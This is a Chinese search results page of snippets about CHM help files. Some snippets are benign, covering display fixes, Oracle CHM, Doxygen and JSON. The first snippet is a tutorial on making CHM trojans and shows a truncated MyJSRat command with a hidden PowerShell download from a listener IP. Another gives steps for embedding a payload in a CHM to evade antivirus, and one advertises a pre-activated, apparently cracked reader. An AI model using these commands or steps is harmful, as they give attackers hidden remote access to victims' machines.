首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

制作chm格式木马病毒

CHM是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。...CHM文件格式是微软1998年推出的基于HTML文件特性的帮助文件系统,以替代早先的WinHelp帮助系统,它也是一种超文本标识语言,在Windows 98中把CHM类型文件称作“已编译的HTML帮助文件...CHM文件因为使用方便,形式多样也被采用作为电子书的格式。 在普通用户眼里,CHM文件与txt文件一般无二,防御心理较弱。因此,一旦制作CHM文件木马,其传递更易,危害更广。...(至于为什么没有生效,可能跟CHM的语法相关,我尝试过修改参数格式几次后没再尝试了,有兴趣的同学可以去查阅资料。)弹出一个黑框?这不就完全暴露了自己是木马了吗?...格式为: python MyJSRat.py -i 192.168.2.237 -p 8080 -c "powershell.exe -nop -w hidden -c $M=new-object net.webclient

5.4K10
您找到你想要的搜索结果了吗?
是的
没有找到

.Chm格式帮助文件作盾,CryptoWall勒索软件卷土重来

近日,Bitdefender的安全专家又披露了一种勒索软件CryptoWall变种,攻击者利用了看似安全的.Chm格式帮助文件发起攻击。...而这次CryptoWall利用的是.Chm附件。 .Chm文件因何变得危险 .Chm文件格式是HTML文件格式的扩展,它本来是一种用于给软件应用程序作用户手册的特殊文本格式。...简单来说,HTML文件格式被压缩和重整以后,就被制成了这种二进制的.Chm扩展文件格式。...通常,.Chm文件格式由压缩的HTML文件、图像、Javascript这些文件组合而成,同时,它可能还带有超链接目录、索引以及全文检索功能。...这些.Chm文件有着较多的用户交互,并且采用了一系列的技术。其中包含的Javascript代码自不用多说,它可以在你打开.Chm文件时,直接重定向到一个外部链接。

92470

CHM木马的分析与利用

前言 CHM文件格式是微软推出的基于HTML文件特性的帮助文件系统,也称作“已编译的HTML帮助文件”。...CHM能够支持脚本、Flash、图片、音频、视频等内容,并且同样支持超链接目录、索引以及全文检索功能,常用来制作说明文档、电子书等以方便查阅,在绝大多数人的印象中,CHM类型文件是“无公害”文档文件。...偶然获得了一个过X60启动的CHM木马,由于从未接触过此类木马,遂进行一番学习,并通过木马所带来的启发再创造。 ?...一、木马行为分析 CHM文件是经过压缩的各类资源的集合,使用7z解压软件直接打开木马样本,如图所示,可以发现CHM文件内部包含一个说明.html文件。 ?...4.编译CHM ? 5.将压缩包并写入CHM(利用C32Asm) ? 将payload.rar粘贴到CHM的最后面并保存 ? 6.测试 ? OK,成功。

2.5K30

解决CHM文件打开无法显示网页的问题

后来有了专门的编译器、反编译器,人们发现chm这东西具有的html的特性,使其用来做电子书实在是又好又方便,连html里面的脚本特效什么的都能保留下来。所以现在有很多资料采用这种格式。...HKEY_LOCAL_MACHINESOFTWAREMicrosoftHTMLHelp1.xItssRestrictions] "MaxAllowedZone"=dword:00000003 另存为HTMLHelp.reg(或其它名称,只要是reg格式就行...以CHM为扩展名的文件图标通常为一个带问号的文档图标,表示帮助文档,是 Microsoft 自 Windows 98 以来提供的一种帮助文档格式的文件,用于替代 Windows 95 下的 HLP(Help...CHM 文件可以通过官方免费提供了 HTML Help Workshop 生成,它的源文件是 HTML 文件。现在网络上很多电子书籍都被制作成 CHM 格式。...问题:chm文件打开无法显示 “CHM格式的文件无法显示,而且windows 2000上正常,windows xp上打开后显示无法找到页面。

3.7K20

【DB笔试面试732】在Oracle中,Oracle Cluster Health Monitor(CHM)的作用是什么?

另外,用户可以使用CHM来及早发现一些系统负载高、内存异常等问题,从而避免产生更严重的问题。CHM也可以用来在系统出现异常时快速收集异常时刻的数据。...相对于OSWatcher,CHM直接调用OS的API来降低开销,而OSWatcher则是直接调用UNIX命令;另外,CHM的实时性更强,每秒收集一次数据,从Oracle 11.2.0.3开始改为了每5秒一次...manage -get reppath #查看CHM数据保存路径 oclumon manage -repos reploc /shared/oracle/chm #修改CHM数据保存路径 oclumon...collect --all --incidenttime 12/30/201515:13:00 --incidentduration 00:30 其中,“--incidenttime”表示采集数据开始时间,格式为...MM/DD/YYYY24HH:MM:SS;“--incidentduration”表示持续时间,格式为HH:MM。

89910

【工具】这个神器可以提取你代码中的关键信息生成技术文档

另一种方法是,找一些离线的文档,网上有不少人整理了一些离线的文档,比如.chm格式(已编译的帮助文件)的文档: ? 里面大概是这样子的: ?...本文分享的重点就是.chm文件的制作。最近需要对自己的一些代码做一些整理,发现整理成.chm文件是个不错的选择,.chm文件可以根据我们的代码生成,下面把生成.chm文件的方法分享给大家。...doxygen可以生成好几种格式的文档,要生成.chm格式的手册就必须安装htmlhelp,要生成关系图必须安装依graphviz。...三、Doxygen根据代码生成.chm的机制 Doxygen可以根据固定格式的代码注释生成相对应的.chm格式的手册。...四、Doxygen生成.chm文件的方法 (1)设置工程工作目录 ? (2)设置编程语言 ? (3)设置输出文件格式 ? (4)设置生成的关系表 ? (5)输出的语言、编码 ?

1.6K20

Mac电脑CHM文件阅读首选,iCHM Reader for Mac 永久版自带激活版

图片iCHM Reader for Mac是一款Mac平台上的CHM阅读器,是Mac OS X系统下最受欢迎的CHM格式文件阅读器之一。...2.自动索引功能iCHM Reader for Mac还具有自动索引功能,可以自动扫描CHM格式文件的内容,将其转化为索引。用户可以根据索引快速查找和定位所需的内容。...特点介绍:1.支持多种CHM格式文件iCHM Reader for Mac支持多种CHM格式文件,包括中文、英文、数字等多种不同格式的文件。同时,它还支持其他格式的文档,例如PDF、EPUB等。...3.速度快捷、操作简单iCHM Reader for Mac运行速度快捷,能够快速打开CHM格式文件,并提供简单易用的操作界面,使得用户能够轻松进行阅读和管理。...4.支持离线阅读iCHM Reader for Mac支持离线阅读,用户可以将所需的CHM格式文件下载到本地,无需联网即可进行阅读。

1.9K20

json几种格式_json的格式

JSON的三种格式 一、 JSON的全称 JSON的全称是JavaScript Object Notation 二、为什么需要JSON JSON有三种格式,每一种写法都和JS中的数据类型很像,可以很轻松的和...JS中的数据类型互相转换 三、JSON的三种格式 (一)、简单值的形式:JSON的简单值的格式对应着JS中的基础数据类型:数字 字符串 布尔值 注意事项: JSON中没有undefined JSON中的字符串必须使用双引号...JS中的数组形式 注意事项: 数组中的字符串必须使用双引号 JSON中只要涉及到字符串 就必须使用双引号 不支持undefined 四、JSON的常用方法 JSON.parse():可以将JSON格式的字符串解析成...JS中对应的值, 一定要是合法的字符串否则会报错 JSON.stringify():可以将JS中的数据类型、对象或数组转换成JSON格式的字符串 版权声明:本文内容由互联网用户自发贡献

2.8K30
领券